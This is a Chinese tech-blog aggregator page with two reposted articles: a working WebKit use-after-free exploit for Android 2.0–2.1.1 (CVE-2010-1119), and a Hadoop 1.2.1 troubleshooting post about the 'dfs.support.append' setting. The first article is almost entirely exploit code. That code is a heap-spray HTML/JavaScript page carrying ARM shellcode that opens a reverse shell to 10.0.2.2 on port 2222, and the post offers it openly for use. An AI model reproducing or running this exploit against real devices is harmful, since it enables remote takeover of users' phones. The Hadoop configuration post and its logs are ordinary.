首页 文章 精选 留言 我的

精选列表

搜索[Linux版本],共10000篇文章
优秀的个人博客,低调大师

WebKit Use-After-Free Exploit 受影响版本:2.0 ,2.1, 2.1.1

<html> <!– # Exploit Title: android exploit for 2010-1119 use after free # Date: 2011/03/11 # Author: MJ Keith # Software Link:http://www.android.com/ # Version: 2.0 ,2.1 , 2.1.1 # Tested on: Android # CVE : 2010-1119 This is the exploit used in my Austin bsides presentation that returns a shell. The slides are athttp://www.slideshare.net/mjza/bsides email: mkeith AT exploitscience.org –> <head> <script language=”JavaScript”> function heap() { var id = document.getElementById(“target”); var attribute = id.getAttributeNode(‘id’); nodes = attribute.childNodes; document.body.removeChild(id); attribute.removeChild(nodes[0]); setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape(“\u0058\u0058″)); }; var scode = unescape(“\u0060\u0060″); var scode2 = unescape(“\u5005\ue1a0″); var shell = unescape(“\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\ \u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002″); shell += unescape(“\uae08″); // Port = 2222 shell += unescape(“\u000a\u0202″); // IP = 10.0.2.2 shell += unescape(“\u2000\u2000″); // string terminate do { scode += scode; scode2 += scode2; } while (scode.length<=0×1000); scode2 += shell target = new Array(); for(i = 0; i < 300; i++){ if (i<130){ target[i] = scode;} if (i>130){ target[i] = scode2;} document.write(target[i]); document.write(“<br />”); if (i>250){ // alert(“freeze”); nodes[0].textContent} } }, 0); } </script> </head> <body onload=heap()> <p id=target></p> </body> </html> 本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/553588,如需转载请自行联系原作者

优秀的个人博客,低调大师

关于hadoop 1.2.1版本不支持“dfs.support.append”参数的解决办法

最近在测试hadoop+fluentd方案,但是fluentd日志收集系统,需要append功能选择,写日志到HDFS中,官方给出的解决方案是: 修改hdfs-site.xml 文件,增加如下行: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <property> <name>dfs.webhdfs.enabled< /name > <value> true < /value > < /property > <property> <name>dfs.support.append< /name > <value> true < /value > < /property > <property> <name>dfs.support.broken.append< /name > <value> true < /value > < /property > 但是format namenode节点的时候会报错: [hadoop@node1 ~]$ hadoop namenode -format 14/12/25 10:35:25 INFO namenode.NameNode: STARTUP_MSG: /************************************************************ STARTUP_MSG: Starting NameNode STARTUP_MSG: host = node1.test.com/172.16.41.151 STARTUP_MSG: args = [-format] STARTUP_MSG: version = 1.2.1 STARTUP_MSG: build = https://svn.apache.org/repos/asf/hadoop/common/branches/branch-1.2 -r 1503152; compiled by 'mattf' on Mon Jul 22 15:23:09 PDT 2013 STARTUP_MSG: java = 1.7.0_67 ************************************************************/ 14/12/25 10:35:25 INFO util.GSet: Computing capacity for map BlocksMap 14/12/25 10:35:25 INFO util.GSet: VM type = 64-bit 14/12/25 10:35:25 INFO util.GSet: 2.0% max memory = 932184064 14/12/25 10:35:25 INFO util.GSet: capacity = 2^21 = 2097152 entries 14/12/25 10:35:25 INFO util.GSet: recommended=2097152, actual=2097152 14/12/25 10:35:26 INFO namenode.FSNamesystem: fsOwner=hadoop 14/12/25 10:35:26 INFO namenode.FSNamesystem: supergroup=supergroup 14/12/25 10:35:26 INFO namenode.FSNamesystem: isPermissionEnabled=true 14/12/25 10:35:26 INFO namenode.FSNamesystem: dfs.block.invalidate.limit=100 14/12/25 10:35:26 WARN namenode.FSNamesystem: The dfs.support.append option is in your configuration, however append is not supported. This configuration option is no longer required to enable sync 14/12/25 10:35:26 INFO namenode.FSNamesystem: isAccessTokenEnabled=false accessKeyUpdateInterval=0 min(s), accessTokenLifetime=0 min(s) 14/12/25 10:35:26 INFO namenode.FSEditLog: dfs.namenode.edits.toleration.length = 0 14/12/25 10:35:26 INFO namenode.NameNode: Caching file names occuring more than 10 times 14/12/25 10:35:26 INFO common.Storage: Image file /usr/local/hadoop_tmp/dfs/name/current/fsimage of size 112 bytes saved in 0 seconds. 14/12/25 10:35:26 INFO namenode.FSEditLog: closing edit log: position=4, editlog=/usr/local/hadoop_tmp/dfs/name/current/edits 14/12/25 10:35:26 INFO namenode.FSEditLog: close success: truncate to 4, editlog=/usr/local/hadoop_tmp/dfs/name/current/edits 14/12/25 10:35:26 INFO common.Storage: Storage directory /usr/local/hadoop_tmp/dfs/name has been successfully formatted. 网上搜索半天,最好解决办法如下: 用一下语句: 1 2 3 4 <property> <name>dfs.support.broken.append< /name > <value> true < /value > < /property > 然后再次格式化namenode,就不报错了! [hadoop@node1 conf]$ hadoop namenode -format 14/12/25 10:47:18 INFO namenode.NameNode: STARTUP_MSG: /************************************************************ STARTUP_MSG: Starting NameNode STARTUP_MSG: host = node1.test.com/172.16.41.151 STARTUP_MSG: args = [-format] STARTUP_MSG: version = 1.2.1 STARTUP_MSG: build = https://svn.apache.org/repos/asf/hadoop/common/branches/branch-1.2 -r 1503152; compiled by 'mattf' on Mon Jul 22 15:23:09 PDT 2013 STARTUP_MSG: java = 1.7.0_67 ************************************************************/ Re-format filesystem in /usr/local/hadoop_tmp/dfs/name ? (Y or N) Y 14/12/25 10:47:21 INFO util.GSet: Computing capacity for map BlocksMap 14/12/25 10:47:21 INFO util.GSet: VM type = 64-bit 14/12/25 10:47:21 INFO util.GSet: 2.0% max memory = 932184064 14/12/25 10:47:21 INFO util.GSet: capacity = 2^21 = 2097152 entries 14/12/25 10:47:21 INFO util.GSet: recommended=2097152, actual=2097152 14/12/25 10:47:21 INFO namenode.FSNamesystem: fsOwner=hadoop 14/12/25 10:47:21 INFO namenode.FSNamesystem: supergroup=supergroup 14/12/25 10:47:21 INFO namenode.FSNamesystem: isPermissionEnabled=true 14/12/25 10:47:21 INFO namenode.FSNamesystem: dfs.block.invalidate.limit=100 14/12/25 10:47:21 INFO namenode.FSNamesystem: isAccessTokenEnabled=false accessKeyUpdateInterval=0 min(s), accessTokenLifetime=0 min(s) 14/12/25 10:47:21 INFO namenode.FSEditLog: dfs.namenode.edits.toleration.length = 0 14/12/25 10:47:21 INFO namenode.NameNode: Caching file names occuring more than 10 times 14/12/25 10:47:21 INFO common.Storage: Image file /usr/local/hadoop_tmp/dfs/name/current/fsimage of size 112 bytes saved in 0 seconds. 14/12/25 10:47:21 INFO namenode.FSEditLog: closing edit log: position=4, editlog=/usr/local/hadoop_tmp/dfs/name/current/edits 14/12/25 10:47:21 INFO namenode.FSEditLog: close success: truncate to 4, editlog=/usr/local/hadoop_tmp/dfs/name/current/edits 14/12/25 10:47:21 INFO common.Storage: Storage directory /usr/local/hadoop_tmp/dfs/name has been successfully formatted. 14/12/25 10:47:21 INFO namenode.NameNode: SHUTDOWN_MSG: /************************************************************ SHUTDOWN_MSG: Shutting down NameNode at node1.test.com/172.16.41.151 ************************************************************/ 本文转自 shine_forever 51CTO博客,原文链接:http://blog.51cto.com/shineforever/1595776

资源下载

更多资源
优质分享App

优质分享App

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册
修改密码
忘记密码